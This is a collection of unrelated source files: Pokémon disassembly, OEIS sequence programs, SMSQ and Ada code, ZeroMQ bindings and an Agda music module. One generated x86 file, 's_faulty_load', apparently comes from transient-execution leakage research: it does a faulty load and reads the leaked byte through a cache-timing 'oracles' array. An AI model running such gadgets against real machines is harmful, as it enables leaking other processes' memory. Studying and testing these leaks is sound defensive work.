EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_2 db ($1 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_2 dw ViridianForestBattleText3 ; TextBeforeBattle dw ViridianForestAfterBattleText3 ; TextAfterBattle dw ViridianForestEndBattleText3 ; TextEndBattle dw ViridianForestEndBattleText3 ; TextEndBattle ViridianForestTrainerHeader3: dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_3 db ($0 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_3 dw ViridianForestBattleText4 ; TextBeforeBattle dw ViridianForestAfterBattleText4 ; TextAfterBattle dw ViridianForestEndBattleText4 ; TextEndBattle dw ViridianForestEndBattleText4 ; TextEndBattle ViridianForestTrainerHeader4: dbEventFlagBit EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_4 db ($4 << 4) ; trainer's view range dwEventFlagAddress EVENT_BEAT_VIRIDIAN_FOREST_TRAINER_4 dw ViridianForestBattleText5 ; TextBeforeBattle dw ViridianForestAfterBattleText5 ; TextAfterBattle dw ViridianForestEndBattleText5 ; TextEndBattle dw ViridianForestEndBattleText5 ; TextEndBattle db $ff ViridianForestText1: TX_FAR _ViridianForestText1 db "@" ViridianForestText2: TX_ASM ld hl, ViridianForestTrainerHeader0 jr ViridianForestTalkToTrainer ViridianForestText3: TX_ASM ld hl, ViridianForestTrainerHeader1 jr ViridianForestTalkToTrainer ViridianForestText4: TX_ASM ld hl, ViridianForestTrainerHeader2 jr ViridianForestTalkToTrainer ViridianForestText5: TX_ASM ld hl, ViridianForestTrainerHeader3 jr ViridianForestTalkToTrainer ViridianForestText6: TX_ASM ld hl, ViridianForestTrainerHeader4 ViridianForestTalkToTrainer: call TalkToTrainer jp TextScriptEnd ViridianForestBattleText1: TX_FAR _ViridianForestBattleText1 db "@" ViridianForestEndBattleText1: TX_FAR _ViridianForestEndBattleText1 db "@" ViridianForestAfterBattleText1: TX_FAR _ViridianFrstAfterBattleText1 db "@" ViridianForestBattleText2: TX_FAR _ViridianForestBattleText2 db "@" ViridianForestEndBattleText2: TX_FAR _ViridianForestEndBattleText2 db "@" ViridianForestAfterBattleText2: TX_FAR _ViridianFrstAfterBattleText2 db "@" ViridianForestBattleText3: TX_FAR _ViridianForestBattleText3 db "@" ViridianForestEndBattleText3: TX_FAR _ViridianForestEndBattleText3 db "@" ViridianForestAfterBattleText3: TX_FAR _ViridianFrstAfterBattleText3 db "@" ViridianForestBattleText4: TX_FAR _ViridianForestBattleTextPikaGirl db "@" ViridianForestEndBattleText4: TX_FAR _ViridianForestEndBattleTextPikaGirl db "@" ViridianForestAfterBattleText4: TX_FAR _ViridianForestAfterBattleTextPikaGirl db "@" ViridianForestBattleText5: TX_FAR _ViridianForestBattleTextSamurai db "@" ViridianForestEndBattleText5: TX_FAR _ViridianForestEndBattleTextSamurai db "@" ViridianForestAfterBattleText5: TX_FAR _ViridianForestAfterBattleTextSamurai db "@" ViridianForestText10: TX_FAR _ViridianForestText8 db "@" ViridianForestText11: TX_ASM ld hl, Func_f2528 jp ViridianForestScript_6120d ViridianForestText12: TX_ASM ld hl, Func_f2534 jp ViridianForestScript_6120d ViridianForestText13: TX_ASM ld hl, Func_f2540 jp ViridianForestScript_6120d ViridianForestText14: TX_ASM ld hl, Func_f254c jp ViridianForestScript_6120d ViridianForestText15: TX_ASM ld hl, Func_f2558 jp ViridianForestScript_6120d ViridianForestText16: TX_ASM ld hl, Func_f2528 ViridianForestScript_6120d ld b, BANK(Func_f2528) call Bankswitch jp TextScriptEnd
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_19472_1629.asm
ljhsiun2/medusa
9
168507
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x11d92, %rsi lea addresses_UC_ht+0x3d1a, %rdi clflush (%rdi) nop nop nop nop nop add $47654, %rbx mov $54, %rcx rep movsb nop nop sub %rax, %rax lea addresses_normal_ht+0xcf5a, %r12 sub %rcx, %rcx movl $0x61626364, (%r12) nop nop nop nop cmp %rax, %rax lea addresses_WC_ht+0xd8fa, %rsi lea addresses_WC_ht+0xe51a, %rdi nop nop nop nop nop sub %r12, %r12 mov $68, %rcx rep movsw nop sub $26475, %rax lea addresses_UC_ht+0x241a, %rsi lea addresses_UC_ht+0x11fe0, %rdi nop nop nop nop xor %rax, %rax mov $85, %rcx rep movsw nop xor %rsi, %rsi lea addresses_UC_ht+0x89a, %r12 xor $26551, %rbp and $0xffffffffffffffc0, %r12 movaps (%r12), %xmm3 vpextrq $1, %xmm3, %rbx nop nop lfence lea addresses_D_ht+0x1e8ca, %rsi lea addresses_UC_ht+0x1b71a, %rdi nop nop cmp $43344, %r10 mov $121, %rcx rep movsw nop nop nop and $54321, %rdi lea addresses_WT_ht+0x6db2, %r12 nop nop nop add $64834, %r10 mov $0x6162636465666768, %rdi movq %rdi, (%r12) nop nop nop nop nop cmp %rdi, %rdi lea addresses_D_ht+0x1a39a, %rcx nop nop nop and %rsi, %rsi vmovups (%rcx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r12 nop nop nop nop nop inc %rax lea addresses_WT_ht+0xe65a, %rsi nop nop mfence mov (%rsi), %rax nop nop nop nop sub %r12, %r12 lea addresses_normal_ht+0x1049a, %r12 nop dec %rax and $0xffffffffffffffc0, %r12 movntdqa (%r12), %xmm7 vpextrq $0, %xmm7, %rdi nop nop nop xor $38850, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r9 push %rbx push %rsi // Store lea addresses_PSE+0x1225a, %r9 nop nop cmp %r12, %r12 movl $0x51525354, (%r9) nop sub %r9, %r9 // Store lea addresses_PSE+0x1feb6, %rbx nop nop nop nop add $39516, %r13 mov $0x5152535455565758, %r9 movq %r9, (%rbx) nop cmp $7396, %r12 // Store mov $0xa9a, %rbx nop nop nop dec %r11 movb $0x51, (%rbx) nop sub $18545, %r9 // Load lea addresses_WT+0xe39a, %r9 clflush (%r9) nop nop and %rsi, %rsi movb (%r9), %r12b nop xor $13008, %r12 // Faulty Load lea addresses_WT+0xeb9a, %r9 sub %r12, %r12 vmovups (%r9), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rsi lea oracles, %r11 and $0xff, %rsi shlq $12, %rsi mov (%r11,%rsi,1), %rsi pop %rsi pop %rbx pop %r9 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}} {'00': 19472} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
programs/oeis/224/A224317.asm
jmorken/loda
1
24654
<reponame>jmorken/loda<gh_stars>1-10 ; A224317: a(n) = a(n-1) + 3 - a(n-1)!. ; 1,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2,3,0,2 lpb $$3 mov $4,$$1 trn $$1,3 lpe add $2,$4 add $4,$2 mov $$1,3 add $$3,$$2 sub $0,2 mov $3,$$4 add $3,2 mov $1,$$3 mov $$0,$$1 add $2,1 add $$2,$2
smsq/sms/achp.asm
olifink/smsqe
0
171026
* Standard Allocate in Common Heap V2.00  1986 <NAME> QJUMP * section sms * xdef sms_achp * xref sms_ckid check job ID xref mem_achp allocate in heap xref sms_rte return * include dev8_keys_chp * * d0 out of memory, invalid job * d1 cr space required / space allocated * d2 cr job ID * a0 r base address of area allocated * * all other registers preserved * sms_achp exg d1,d2 check job ID bsr.l sms_ckid exg d1,d2 bne.s sac_exit ... oops * moveq #chp.len,d7 add.l d7,d1 allocate extra for header bsr.l mem_achp bne.s sac_exit ... oops move.l d2,chp_ownr(a0) set owner ;** sub.l d7,d1 set actual space available add.l d7,a0 and point to it moveq #0,d0 ok sac_exit bra.l sms_rte end
programs/oeis/135/A135095.asm
jmorken/loda
1
162421
; A135095: a(1)=1, a(n) = a(n-1) + n^5 if n odd, a(n) = a(n-1) + n^2 if n is even. ; 1,5,248,264,3389,3425,20232,20296,79345,79445,240496,240640,611933,612129,1371504,1371760,2791617,2791941,5268040,5268440,9352541,9353025,15789368,15789944,25555569,25556245,39905152,39905936,60417085,60417985,89047136,89048160,128183553,128184709,180706584,180707880,250051837,250053281,340277480,340279080,456135281,456137045,603145488,603147424,787675549,787677665,1017022672,1017024976,1299500225,1299502725,1644527976,1644530680,2062726173,2062729089,2566013464,2566016600,3167708657,3167712021,3882636320,3882639920,4727236221,4727240065,5719676608,5719680704,6879971329,6879975685,8230100792,8230105416,9794136765,9794141665,11598371016,11598376200,13671447793,13671453269,16044500144,16044505920,18751290077,18751296161,21828352560,21828358960,25315143361,25315150085,29254190728,29254197784,33691250909,33691258305,38675467512,38675475256,44259534705,44259542805,50499864256,50499872720,57456756413,57456765249,65194574624,65194583840,73781924097,73781933701,83291834200,83291844200,93801944701,93801955105,105394695848,105394706664,118157522289,118157533525,132183050832,132183062496,147569302045,147569314145,164419895696,164419908240,182844260033,182844273029,202957844904,202957858360,224882338717,224882352641,248745889240,248745903640,274683328241,274683343125,302836399968,302836415344,333353993469,333354009345,366392378752,366392395136,402115446785,402115463685,440694953336,440694970760,482310766653,482310784609,527151118984,527151137480,575412861937,575412880981,627301725680,627301745280,683032581981,683032602145,742829711088,742829731824,806927072449,806927093765,875568579272,875568601176,949008376925,949008399425,1027511125176,1027511148280,1111352284273,1111352307989,1200818404864,1200818429200,1296207421757,1296207446721,1397828951520,1397828977120,1506004593921,1506004620165,1621068237208,1621068264104,1743366367229,1743366394785,1873258380392,1873258408616,2011116900465,2011116929365,2157328099216,2157328128800,2312292020893,2312292051169,2476422910544,2476422941520,2650149546177,2650149577861,2833915574760,2833915607160,3028179852061,3028179885185,3233416786328,3233416820184,3450116685809,3450116720405,3678786110112,3678786145456,3919948225405,3919948261505,4174143163456,4174143200320,4441928384513,4441928422149,4723879044024,4723879082440,5020588363197,5020588402401,5332668003400,5332668043400,5660748444401,5660748485205,6005479366448,6005479408064,6367530036189,6367530078625,6747589696432,6747589739696,7146367959745,7146368003845,7564595205896,7564595250840,8003022983133,8003023028929,8462424413304,8462424459960,8943594600817,8943594648341,9447351045440,9447351093840,9974534058941,9974534108225,10526007185568,10526007235744,11102657626369,11102657677445,11705396667352,11705396719336,12335160111485,12335160164385,12992908714536,12992908768360,13679628624753,13679628679509,14396331826384,14396331882080,15144056587037,15144056643681,15923867908880,15923867966480,16736857983681,16736858042245,17584146651688,17584146711224,18466881864349,18466881924865,19386240150872,19386240212376,20343427088625,20343427151125 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 add $0,1 mov $3,$0 mov $5,$0 gcd $5,8 pow $5,8 mul $5,5 mod $5,6 pow $3,$5 mul $3,2 mov $6,$3 sub $6,2 div $6,2 add $6,1 add $1,$6 lpe
src/protypo.adb
fintatarta/protypo
0
21148
<reponame>fintatarta/protypo<gh_stars>0 package body Protypo is function Is_Valid_Id (Id : String) return Boolean is use Strings.Maps; begin if Id = "" then return False; end if; if not Is_In (Id (Id'First), Begin_Id_Set) then return False; end if; for I in Id'First + 1 .. Id'Last - 1 loop if not Is_In (Id (I), Id_Charset) then return False; end if; end loop; if not Is_In (Id (Id'Last), End_Id_Set) then return False; end if; return True; end Is_Valid_Id; end Protypo;
doc/icfp20/code/Interval.agda
halfaya/MusicTools
28
8197
<reponame>halfaya/MusicTools {-# OPTIONS --without-K #-} module Interval where open import Pitch open import Data.Bool using (Bool; true; false; _∨_; _∧_; not; if_then_else_) open import Data.Integer using (+_; _-_; sign; ∣_∣) open import Data.Fin using (toℕ) open import Data.Nat using (ℕ; _≡ᵇ_) open import Data.Nat.DivMod using (_mod_) open import Data.Product using (_×_; _,_; Σ; proj₁; proj₂) open import Data.Sign using (Sign) open import Function using (_∘_) open import Relation.Binary.PropositionalEquality using (_≡_) PitchPair : Set PitchPair = Pitch × Pitch data Interval : Set where interval : ℕ → Interval infix 4 _==_ _==_ : Interval → Interval → Bool (interval a) == (interval b) = a ≡ᵇ b intervalWithinOctave : Interval → Interval intervalWithinOctave (interval i) = interval (toℕ (i mod chromaticScaleSize)) SignedInterval : Set SignedInterval = Sign × Interval -- Names for intervals per1 = interval 0 min2 = interval 1 maj2 = interval 2 min3 = interval 3 maj3 = interval 4 per4 = interval 5 aug4 = interval 6 per5 = interval 7 min6 = interval 8 maj6 = interval 9 min7 = interval 10 maj7 = interval 11 per8 = interval 12 min9 = interval 13 maj9 = interval 14 min10 = interval 15 maj10 = interval 16 isConsonant : Interval → Bool isConsonant iv = (i == per1) ∨ (i == min3) ∨ (i == maj3) ∨ (i == per5) ∨ (i == min6) ∨ (i == maj6) ∨ (i == per8) where i = intervalWithinOctave iv isDissonant : Interval → Bool isDissonant = not ∘ isConsonant isPerfect : Interval → Bool isPerfect iv = (i == per1) ∨ (i == per4) ∨ (i == per5) ∨ (i == per8) where i = intervalWithinOctave iv isUnison : Interval → Bool isUnison i = i == per1 isThird : Interval → Bool isThird i = (i == min3) ∨ (i == maj3) -- Half or whole step; ignores key for now. isStep : Interval → Bool isStep i = (i == min2) ∨ (i == maj2) PitchInterval : Set PitchInterval = Pitch × Interval pitchIntervalToPitchPair : PitchInterval → PitchPair pitchIntervalToPitchPair (p , interval n) = (p , transposePitch (+ n) p) secondPitch : PitchInterval → Pitch secondPitch = proj₂ ∘ pitchIntervalToPitchPair pitchPairToSignedInterval : PitchPair → SignedInterval pitchPairToSignedInterval (pitch p , pitch q) = let d = (+ q) - (+ p) in sign d , interval ∣ d ∣ -- Assumes p ≤ q pitchPairToPitchInterval : PitchPair → PitchInterval pitchPairToPitchInterval pq = proj₁ pq , proj₂ (pitchPairToSignedInterval pq) stepUp : Pitch → Pitch → Bool stepUp p q with pitchPairToSignedInterval (p , q) ... | Sign.- , _ = false ... | Sign.+ , i = isStep i stepDown : Pitch → Pitch → Bool stepDown p q with pitchPairToSignedInterval (p , q) ... | Sign.- , i = isStep i ... | Sign.+ , _ = false -- Check if q is a passing tone between p and r -- The interval between end points need to be a 3rd isPassingTone : Pitch → Pitch → Pitch → Bool isPassingTone p q r = (stepUp p q ∧ stepUp q r) ∨ (stepDown p q ∧ stepDown q r) ∨ (isThird (proj₂ (pitchPairToSignedInterval (p , r)))) moveUp : Pitch → Pitch → Bool moveUp p q with pitchPairToSignedInterval (p , q) ... | Sign.- , _ = false ... | Sign.+ , i = true moveDown : Pitch → Pitch → Bool moveDown p q with pitchPairToSignedInterval (p , q) ... | Sign.- , i = true ... | Sign.+ , _ = false -- Check if q is left by step in the opposite direction from its approach isOppositeStep : Pitch → Pitch → Pitch → Bool isOppositeStep p q r = (moveUp p q ∧ stepDown q r) ∨ (moveDown p q ∧ stepUp q r)
programs/oeis/112/A112347.asm
neoneye/loda
22
3452
; A112347: Kronecker symbol (-1, n) except a(0) = 0. ; 0,1,1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,-1,1,1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,-1,-1,1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,-1,1,1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,-1,-1,-1,1,1,-1 mov $1,$0 seq $1,121238 ; a(n) = (-1)^(1+n+A088585(n)). min $0,$1
src/Command_Line/line_parsers-receivers.ads
fintatarta/eugen
0
23215
-- -- This package provides few handlers for common types: strings, -- integers and float. A separate package provides a generic -- handler for enumerative types. -- package Line_Parsers.Receivers is type String_Receiver is new Abstract_Parameter_Handler with private; overriding function Is_Set(Handler: String_Receiver) return Boolean; overriding procedure Receive (Handler : in out String_Receiver; Name : String; Value : String; Position : Natural); overriding function Reusable(Handler: String_Receiver) return Boolean; function Value (Handler : String_Receiver) return String with Pre => Handler.Is_Set; type Integer_Receiver is new Abstract_Parameter_Handler with private; overriding function Is_Set (Handler : integer_Receiver) return Boolean; overriding procedure Receive (Handler : in out Integer_Receiver; Name : String; Value : String; Position : Natural); overriding function Reusable (Handler : Integer_Receiver) return Boolean; function Get (Handler : Integer_Receiver) return Integer with Pre => Handler.Is_Set; type Float_Receiver is new Abstract_Parameter_Handler with private; overriding function Is_Set (Handler : Float_Receiver) return Boolean; procedure Receive (Handler : in out Float_Receiver; Name : String; Value : String; Position : Natural); function Get (Handler : Float_Receiver) return Float with Pre => Handler.Is_Set; overriding function Reusable(Handler: Float_Receiver) return Boolean; private type String_Receiver is new Abstract_Parameter_Handler with record Set : Boolean := False; Value : Unbounded_String; end record; function Is_Set (Handler : String_Receiver) return Boolean is (Handler.Set); function Value (Handler : String_Receiver) return String is (To_String (Handler.Value)); function Reusable(Handler: String_Receiver) return Boolean is (False); type Integer_Receiver is new Abstract_Parameter_Handler with record Set : Boolean := False; Value : Integer; end record; function Is_Set (Handler : Integer_Receiver) return Boolean is (Handler.Set); function Get (Handler : Integer_Receiver) return Integer is (Handler.Value); function Reusable(Handler: Integer_Receiver) return Boolean is (False); type Float_Receiver is new Abstract_Parameter_Handler with record Set : Boolean := False; Value : Float; end record; function Is_Set (Handler : Float_Receiver) return Boolean is (Handler.Set); function Get (Handler : Float_Receiver) return Float is (Handler.Value); function Reusable(Handler: Float_Receiver) return Boolean is (False); end Line_Parsers.Receivers;
src/zmq-sockets-indefinite_typed_generic.adb
persan/zeromq-Ada
33
29060
<reponame>persan/zeromq-Ada<gh_stars>10-100 ------------------------------------------------------------------------------- -- -- -- 0MQ Ada-binding -- -- -- -- Z M Q . S O C K E T S . I N D E F I N I T E _ T Y P E D _ G E N E R I C -- -- -- -- B o d y -- -- -- -- Copyright (C) 2020-2030, <EMAIL> -- -- -- -- Permission is hereby granted, free of charge, to any person obtaining a -- -- copy of this software and associated documentation files -- -- (the "Software"), to deal in the Software without restriction, including -- -- without limitation the rights to use, copy, modify, merge, publish, -- -- distribute, sublicense, and / or sell copies of the Software, and to -- -- permit persons to whom the Software is furnished to do so, subject to -- -- the following conditions : -- -- -- -- The above copyright notice and this permission notice shall be included -- -- in all copies or substantial portions of the Software. -- -- -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -- -- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -- -- MERCHANTABILITY, -- -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -- -- THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR -- -- OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, -- -- ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -- -- OTHER DEALINGS IN THE SOFTWARE. -- ------------------------------------------------------------------------------- with ZMQ.Utilities.Memory_Streams; package body ZMQ.Sockets.Indefinite_Typed_Generic is ---------- -- Send -- ---------- procedure Send (This : in out Socket; Msg : Element_Type) is S : aliased ZMQ.Utilities.Memory_Streams.Dynamic_Memory_Stream (Initial_Size, ZMQ.Utilities.Memory_Streams.As_Needed); begin Element_Type'Write (S'Access, Msg); This.Send (S.Get_Address, Integer (S.Get_Length)); if This.Acutal_Initial_Size < S.Get_Length then This.Acutal_Initial_Size := S.Get_Length; end if; end Send; ---------- -- Recv -- ---------- procedure Recv (This : in Socket; Msg : out Element_Type) is Temp : Messages.Message; S : aliased ZMQ.Utilities.Memory_Streams.Memory_Stream; begin This.Recv (Temp); S.Set_Address (Temp.GetData); S.Set_Length (Ada.Streams.Stream_Element_Offset (Temp.GetSize)); Element_Type'Read (S'Access, Msg); end Recv; end ZMQ.Sockets.Indefinite_Typed_Generic;
src/main/fragment/mos6502-common/pvom1=_deref_qvoc1.asm
jbrandwood/kickc
2
166642
lda {c1} sta {m1} lda {c1}+1 sta {m1}+1
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_47_397.asm
ljhsiun2/medusa
9
86541
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %rsi lea addresses_D_ht+0x7595, %r11 nop nop nop nop nop cmp %rsi, %rsi movl $0x61626364, (%r11) cmp %rsi, %rsi pop %rsi pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r9 push %rbx push %rdi push %rsi // Faulty Load lea addresses_US+0x15495, %rbx clflush (%rbx) nop nop nop add $46383, %r13 vmovups (%rbx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r14 lea oracles, %r9 and $0xff, %r14 shlq $12, %r14 mov (%r9,%r14,1), %r14 pop %rsi pop %rdi pop %rbx pop %r9 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_US', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_US', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'00': 47} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
source/amf/uml/amf-uml-state_machines.ads
svn2github/matreshka
24
28943
<gh_stars>10-100 ------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, <NAME> <<EMAIL>> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR 